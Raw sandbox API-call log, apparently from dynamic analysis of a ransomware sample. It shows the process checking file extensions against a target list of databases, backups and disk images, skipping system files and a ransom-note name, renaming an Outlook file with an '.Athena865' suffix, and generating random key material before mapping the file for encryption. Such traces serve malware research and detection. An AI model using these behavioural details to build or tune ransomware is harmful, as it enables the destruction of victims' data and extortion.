[0144.504] lstrlenW (lpString="dacpac") returned 6 [0144.504] lstrcmpiW (lpString1="OL.HXK", lpString2="dacpac") returned 1 [0144.504] lstrlenW (lpString="dad") returned 3 [0144.504] lstrcmpiW (lpString1="HXK", lpString2="dad") returned 1 [0144.504] lstrlenW (lpString="dadiagrams") returned 10 [0144.504] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="dadiagrams") returned -1 [0144.504] lstrlenW (lpString="daschema") returned 8 [0144.504] lstrcmpiW (lpString1="_COL.HXK", lpString2="daschema") returned -1 [0144.504] lstrlenW (lpString="db-journal") returned 10 [0144.504] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="db-journal") returned -1 [0144.504] lstrlenW (lpString="db-shm") returned 6 [0144.504] lstrcmpiW (lpString1="OL.HXK", lpString2="db-shm") returned 1 [0144.504] lstrlenW (lpString="db-wal") returned 6 [0144.504] lstrcmpiW (lpString1="OL.HXK", lpString2="db-wal") returned 1 [0144.504] lstrlenW (lpString="dbc") returned 3 [0144.504] lstrcmpiW (lpString1="HXK", lpString2="dbc") returned 1 [0144.504] lstrlenW (lpString="dbs") returned 3 [0144.504] lstrcmpiW (lpString1="HXK", lpString2="dbs") returned 1 [0144.504] lstrlenW (lpString="dbt") returned 3 [0144.504] lstrcmpiW (lpString1="HXK", lpString2="dbt") returned 1 [0144.504] lstrlenW (lpString="dbv") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dbv") returned 1 [0144.505] lstrlenW (lpString="dbx") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dbx") returned 1 [0144.505] lstrlenW (lpString="dcb") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dcb") returned 1 [0144.505] lstrlenW (lpString="dct") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dct") returned 1 [0144.505] lstrlenW (lpString="dcx") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dcx") returned 1 [0144.505] lstrlenW (lpString="ddl") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="ddl") returned 1 [0144.505] lstrlenW (lpString="dlis") returned 4 [0144.505] lstrcmpiW (lpString1=".HXK", lpString2="dlis") returned -1 [0144.505] lstrlenW (lpString="dp1") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dp1") returned 1 [0144.505] lstrlenW (lpString="dqy") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dqy") returned 1 [0144.505] lstrlenW (lpString="dsk") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dsk") returned 1 [0144.505] lstrlenW (lpString="dsn") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dsn") returned 1 [0144.505] lstrlenW (lpString="dtsx") returned 4 [0144.505] lstrcmpiW (lpString1=".HXK", lpString2="dtsx") returned -1 [0144.505] lstrlenW (lpString="dxl") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="dxl") returned 1 [0144.505] lstrlenW (lpString="eco") returned 3 [0144.505] lstrcmpiW (lpString1="HXK", lpString2="eco") returned 1 [0144.506] lstrlenW (lpString="ecx") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="ecx") returned 1 [0144.506] lstrlenW (lpString="edb") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="edb") returned 1 [0144.506] lstrlenW (lpString="epim") returned 4 [0144.506] lstrcmpiW (lpString1=".HXK", lpString2="epim") returned -1 [0144.506] lstrlenW (lpString="fcd") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="fcd") returned 1 [0144.506] lstrlenW (lpString="fdb") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="fdb") returned 1 [0144.506] lstrlenW (lpString="fic") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="fic") returned 1 [0144.506] lstrlenW (lpString="flexolibrary") returned 12 [0144.506] lstrcmpiW (lpString1="EV_F_COL.HXK", lpString2="flexolibrary") returned -1 [0144.506] lstrlenW (lpString="fm5") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="fm5") returned 1 [0144.506] lstrlenW (lpString="fmp") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="fmp") returned 1 [0144.506] lstrlenW (lpString="fmp12") returned 5 [0144.506] lstrcmpiW (lpString1="L.HXK", lpString2="fmp12") returned 1 [0144.506] lstrlenW (lpString="fmpsl") returned 5 [0144.506] lstrcmpiW (lpString1="L.HXK", lpString2="fmpsl") returned 1 [0144.506] lstrlenW (lpString="fol") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="fol") returned 1 [0144.506] lstrlenW (lpString="fp3") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="fp3") returned 1 [0144.506] lstrlenW (lpString="fp4") returned 3 [0144.506] lstrcmpiW (lpString1="HXK", lpString2="fp4") returned 1 [0144.507] lstrlenW (lpString="fp5") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="fp5") returned 1 [0144.507] lstrlenW (lpString="fp7") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="fp7") returned 1 [0144.507] lstrlenW (lpString="fpt") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="fpt") returned 1 [0144.507] lstrlenW (lpString="frm") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="frm") returned 1 [0144.507] lstrlenW (lpString="gdb") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="gdb") returned 1 [0144.507] lstrlenW (lpString="gdb") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="gdb") returned 1 [0144.507] lstrlenW (lpString="grdb") returned 4 [0144.507] lstrcmpiW (lpString1=".HXK", lpString2="grdb") returned -1 [0144.507] lstrlenW (lpString="gwi") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="gwi") returned 1 [0144.507] lstrlenW (lpString="hdb") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="hdb") returned 1 [0144.507] lstrlenW (lpString="his") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="his") returned 1 [0144.507] lstrlenW (lpString="ib") returned 2 [0144.507] lstrcmpiW (lpString1="XK", lpString2="ib") returned 1 [0144.507] lstrlenW (lpString="idb") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="idb") returned -1 [0144.507] lstrlenW (lpString="ihx") returned 3 [0144.507] lstrcmpiW (lpString1="HXK", lpString2="ihx") returned -1 [0144.507] lstrlenW (lpString="itdb") returned 4 [0144.507] lstrcmpiW (lpString1=".HXK", lpString2="itdb") returned -1 [0144.507] lstrlenW (lpString="itw") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="itw") returned -1 [0144.508] lstrlenW (lpString="jet") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="jet") returned -1 [0144.508] lstrlenW (lpString="jtx") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="jtx") returned -1 [0144.508] lstrlenW (lpString="kdb") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="kdb") returned -1 [0144.508] lstrlenW (lpString="kexi") returned 4 [0144.508] lstrcmpiW (lpString1=".HXK", lpString2="kexi") returned -1 [0144.508] lstrlenW (lpString="kexic") returned 5 [0144.508] lstrcmpiW (lpString1="L.HXK", lpString2="kexic") returned 1 [0144.508] lstrlenW (lpString="kexis") returned 5 [0144.508] lstrcmpiW (lpString1="L.HXK", lpString2="kexis") returned 1 [0144.508] lstrlenW (lpString="lgc") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="lgc") returned -1 [0144.508] lstrlenW (lpString="lwx") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="lwx") returned -1 [0144.508] lstrlenW (lpString="maf") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="maf") returned -1 [0144.508] lstrlenW (lpString="maq") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="maq") returned -1 [0144.508] lstrlenW (lpString="mar") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="mar") returned -1 [0144.508] lstrlenW (lpString="marshal") returned 7 [0144.508] lstrcmpiW (lpString1="COL.HXK", lpString2="marshal") returned -1 [0144.508] lstrlenW (lpString="mas") returned 3 [0144.508] lstrcmpiW (lpString1="HXK", lpString2="mas") returned -1 [0144.508] lstrlenW (lpString="mav") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="mav") returned -1 [0144.509] lstrlenW (lpString="maw") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="maw") returned -1 [0144.509] lstrlenW (lpString="mdbhtml") returned 7 [0144.509] lstrcmpiW (lpString1="COL.HXK", lpString2="mdbhtml") returned -1 [0144.509] lstrlenW (lpString="mdn") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="mdn") returned -1 [0144.509] lstrlenW (lpString="mdt") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="mdt") returned -1 [0144.509] lstrlenW (lpString="mfd") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="mfd") returned -1 [0144.509] lstrlenW (lpString="mpd") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="mpd") returned -1 [0144.509] lstrlenW (lpString="mrg") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="mrg") returned -1 [0144.509] lstrlenW (lpString="mud") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="mud") returned -1 [0144.509] lstrlenW (lpString="mwb") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="mwb") returned -1 [0144.509] lstrlenW (lpString="myd") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="myd") returned -1 [0144.509] lstrlenW (lpString="ndf") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="ndf") returned -1 [0144.509] lstrlenW (lpString="nnt") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="nnt") returned -1 [0144.509] lstrlenW (lpString="nrmlib") returned 6 [0144.509] lstrcmpiW (lpString1="OL.HXK", lpString2="nrmlib") returned 1 [0144.509] lstrlenW (lpString="ns2") returned 3 [0144.509] lstrcmpiW (lpString1="HXK", lpString2="ns2") returned -1 [0144.510] lstrlenW (lpString="ns3") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="ns3") returned -1 [0144.510] lstrlenW (lpString="ns4") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="ns4") returned -1 [0144.510] lstrlenW (lpString="nsf") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="nsf") returned -1 [0144.510] lstrlenW (lpString="nv") returned 2 [0144.510] lstrcmpiW (lpString1="XK", lpString2="nv") returned 1 [0144.510] lstrlenW (lpString="nv2") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="nv2") returned -1 [0144.510] lstrlenW (lpString="nwdb") returned 4 [0144.510] lstrcmpiW (lpString1=".HXK", lpString2="nwdb") returned -1 [0144.510] lstrlenW (lpString="nyf") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="nyf") returned -1 [0144.510] lstrlenW (lpString="odb") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="odb") returned -1 [0144.510] lstrlenW (lpString="odb") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="odb") returned -1 [0144.510] lstrlenW (lpString="oqy") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="oqy") returned -1 [0144.510] lstrlenW (lpString="ora") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="ora") returned -1 [0144.510] lstrlenW (lpString="orx") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="orx") returned -1 [0144.510] lstrlenW (lpString="owc") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="owc") returned -1 [0144.510] lstrlenW (lpString="p96") returned 3 [0144.510] lstrcmpiW (lpString1="HXK", lpString2="p96") returned -1 [0144.511] lstrlenW (lpString="p97") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="p97") returned -1 [0144.511] lstrlenW (lpString="pan") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="pan") returned -1 [0144.511] lstrlenW (lpString="pdb") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="pdb") returned -1 [0144.511] lstrlenW (lpString="pdm") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="pdm") returned -1 [0144.511] lstrlenW (lpString="pnz") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="pnz") returned -1 [0144.511] lstrlenW (lpString="qry") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="qry") returned -1 [0144.511] lstrlenW (lpString="qvd") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="qvd") returned -1 [0144.511] lstrlenW (lpString="rbf") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="rbf") returned -1 [0144.511] lstrlenW (lpString="rctd") returned 4 [0144.511] lstrcmpiW (lpString1=".HXK", lpString2="rctd") returned -1 [0144.511] lstrlenW (lpString="rod") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="rod") returned -1 [0144.511] lstrlenW (lpString="rodx") returned 4 [0144.511] lstrcmpiW (lpString1=".HXK", lpString2="rodx") returned -1 [0144.511] lstrlenW (lpString="rpd") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="rpd") returned -1 [0144.511] lstrlenW (lpString="rsd") returned 3 [0144.511] lstrcmpiW (lpString1="HXK", lpString2="rsd") returned -1 [0144.511] lstrlenW (lpString="sas7bdat") returned 8 [0144.511] lstrcmpiW (lpString1="_COL.HXK", lpString2="sas7bdat") returned -1 [0144.511] lstrlenW (lpString="sbf") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="sbf") returned -1 [0144.512] lstrlenW (lpString="scx") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="scx") returned -1 [0144.512] lstrlenW (lpString="sdb") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="sdb") returned -1 [0144.512] lstrlenW (lpString="sdc") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="sdc") returned -1 [0144.512] lstrlenW (lpString="sdf") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="sdf") returned -1 [0144.512] lstrlenW (lpString="sis") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="sis") returned -1 [0144.512] lstrlenW (lpString="spq") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="spq") returned -1 [0144.512] lstrlenW (lpString="te") returned 2 [0144.512] lstrcmpiW (lpString1="XK", lpString2="te") returned 1 [0144.512] lstrlenW (lpString="teacher") returned 7 [0144.512] lstrcmpiW (lpString1="COL.HXK", lpString2="teacher") returned -1 [0144.512] lstrlenW (lpString="tmd") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="tmd") returned -1 [0144.512] lstrlenW (lpString="tps") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="tps") returned -1 [0144.512] lstrlenW (lpString="trc") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="trc") returned -1 [0144.512] lstrlenW (lpString="trc") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="trc") returned -1 [0144.512] lstrlenW (lpString="trm") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="trm") returned -1 [0144.512] lstrlenW (lpString="udb") returned 3 [0144.512] lstrcmpiW (lpString1="HXK", lpString2="udb") returned -1 [0144.513] lstrlenW (lpString="udl") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="udl") returned -1 [0144.513] lstrlenW (lpString="usr") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="usr") returned -1 [0144.513] lstrlenW (lpString="v12") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="v12") returned -1 [0144.513] lstrlenW (lpString="vis") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="vis") returned -1 [0144.513] lstrlenW (lpString="vpd") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="vpd") returned -1 [0144.513] lstrlenW (lpString="vvv") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="vvv") returned -1 [0144.513] lstrlenW (lpString="wdb") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="wdb") returned -1 [0144.513] lstrlenW (lpString="wmdb") returned 4 [0144.513] lstrcmpiW (lpString1=".HXK", lpString2="wmdb") returned -1 [0144.513] lstrlenW (lpString="wrk") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="wrk") returned -1 [0144.513] lstrlenW (lpString="xdb") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="xdb") returned -1 [0144.513] lstrlenW (lpString="xld") returned 3 [0144.513] lstrcmpiW (lpString1="HXK", lpString2="xld") returned -1 [0144.513] lstrlenW (lpString="xmlff") returned 5 [0144.513] lstrcmpiW (lpString1="L.HXK", lpString2="xmlff") returned -1 [0144.513] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.Athena865") returned 79 [0144.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0144.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0144.515] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0144.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0144.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0144.516] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0144.516] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0144.516] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0144.516] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.517] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0144.549] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0144.558] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0144.559] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0144.559] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0144.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0144.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0144.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0144.559] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0144.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0144.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0144.560] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0144.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0144.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0144.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0144.560] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0144.560] CloseHandle (hObject=0x17c) returned 1 [0144.560] CloseHandle (hObject=0x154) returned 1 [0144.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0144.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0144.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0144.560] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLOOK.DEV_K_COL.HXK", cAlternateFileName="OUTLOO~2.HXK")) returned 1 [0144.560] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2=".") returned 1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="..") returned 1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="windows") returned -1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="bootmgr") returned 1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="temp") returned -1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="pagefile.sys") returned -1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="boot") returned 1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="ids.txt") returned 1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="perflogs") returned -1 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2="MSBuild") returned 1 [0144.561] lstrlenW (lpString="OUTLOOK.DEV_K_COL.HXK") returned 21 [0144.561] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OUTLOOK.DEV_K_COL.HXK" | out: lpString1="OUTLOOK.DEV_K_COL.HXK") returned="OUTLOOK.DEV_K_COL.HXK" [0144.561] lstrlenW (lpString="OUTLOOK.DEV_K_COL.HXK") returned 21 [0144.561] lstrlenW (lpString="Athena865") returned 9 [0144.561] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0144.561] lstrlenW (lpString=".dll") returned 4 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2=".dll") returned 1 [0144.561] lstrlenW (lpString=".lnk") returned 4 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2=".lnk") returned 1 [0144.561] lstrlenW (lpString=".ini") returned 4 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2=".ini") returned 1 [0144.561] lstrlenW (lpString=".sys") returned 4 [0144.561] lstrcmpiW (lpString1="OUTLOOK.DEV_K_COL.HXK", lpString2=".sys") returned 1 [0144.561] lstrlenW (lpString="OUTLOOK.DEV_K_COL.HXK") returned 21 [0144.561] lstrlenW (lpString="bak") returned 3 [0144.561] lstrcmpiW (lpString1="HXK", lpString2="bak") returned 1 [0144.562] lstrlenW (lpString="ba_") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="ba_") returned 1 [0144.562] lstrlenW (lpString="dbb") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="dbb") returned 1 [0144.562] lstrlenW (lpString="vmdk") returned 4 [0144.562] lstrcmpiW (lpString1=".HXK", lpString2="vmdk") returned -1 [0144.562] lstrlenW (lpString="rar") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="rar") returned -1 [0144.562] lstrlenW (lpString="zip") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="zip") returned -1 [0144.562] lstrlenW (lpString="tgz") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="tgz") returned -1 [0144.562] lstrlenW (lpString="vbox") returned 4 [0144.562] lstrcmpiW (lpString1=".HXK", lpString2="vbox") returned -1 [0144.562] lstrlenW (lpString="vdi") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="vdi") returned -1 [0144.562] lstrlenW (lpString="vhd") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="vhd") returned -1 [0144.562] lstrlenW (lpString="vhdx") returned 4 [0144.562] lstrcmpiW (lpString1=".HXK", lpString2="vhdx") returned -1 [0144.562] lstrlenW (lpString="avhd") returned 4 [0144.562] lstrcmpiW (lpString1=".HXK", lpString2="avhd") returned -1 [0144.562] lstrlenW (lpString="db") returned 2 [0144.562] lstrcmpiW (lpString1="XK", lpString2="db") returned 1 [0144.562] lstrlenW (lpString="db2") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="db2") returned 1 [0144.562] lstrlenW (lpString="db3") returned 3 [0144.562] lstrcmpiW (lpString1="HXK", lpString2="db3") returned 1 [0144.562] lstrlenW (lpString="dbf") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="dbf") returned 1 [0144.563] lstrlenW (lpString="mdf") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="mdf") returned -1 [0144.563] lstrlenW (lpString="mdb") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="mdb") returned -1 [0144.563] lstrlenW (lpString="sql") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="sql") returned -1 [0144.563] lstrlenW (lpString="sqlite") returned 6 [0144.563] lstrcmpiW (lpString1="OL.HXK", lpString2="sqlite") returned -1 [0144.563] lstrlenW (lpString="sqlite3") returned 7 [0144.563] lstrcmpiW (lpString1="COL.HXK", lpString2="sqlite3") returned -1 [0144.563] lstrlenW (lpString="sqlitedb") returned 8 [0144.563] lstrcmpiW (lpString1="_COL.HXK", lpString2="sqlitedb") returned -1 [0144.563] lstrlenW (lpString="xml") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="xml") returned -1 [0144.563] lstrlenW (lpString="$er") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="$er") returned 1 [0144.563] lstrlenW (lpString="4dd") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="4dd") returned 1 [0144.563] lstrlenW (lpString="4dl") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="4dl") returned 1 [0144.563] lstrlenW (lpString="^^^") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="^^^") returned 1 [0144.563] lstrlenW (lpString="abs") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="abs") returned 1 [0144.563] lstrlenW (lpString="abx") returned 3 [0144.563] lstrcmpiW (lpString1="HXK", lpString2="abx") returned 1 [0144.563] lstrlenW (lpString="accdb") returned 5 [0144.563] lstrcmpiW (lpString1="L.HXK", lpString2="accdb") returned 1 [0144.563] lstrlenW (lpString="accdc") returned 5 [0144.564] lstrcmpiW (lpString1="L.HXK", lpString2="accdc") returned 1 [0144.564] lstrlenW (lpString="accde") returned 5 [0144.564] lstrcmpiW (lpString1="L.HXK", lpString2="accde") returned 1 [0144.564] lstrlenW (lpString="accdr") returned 5 [0144.564] lstrcmpiW (lpString1="L.HXK", lpString2="accdr") returned 1 [0144.564] lstrlenW (lpString="accdt") returned 5 [0144.564] lstrcmpiW (lpString1="L.HXK", lpString2="accdt") returned 1 [0144.564] lstrlenW (lpString="accdw") returned 5 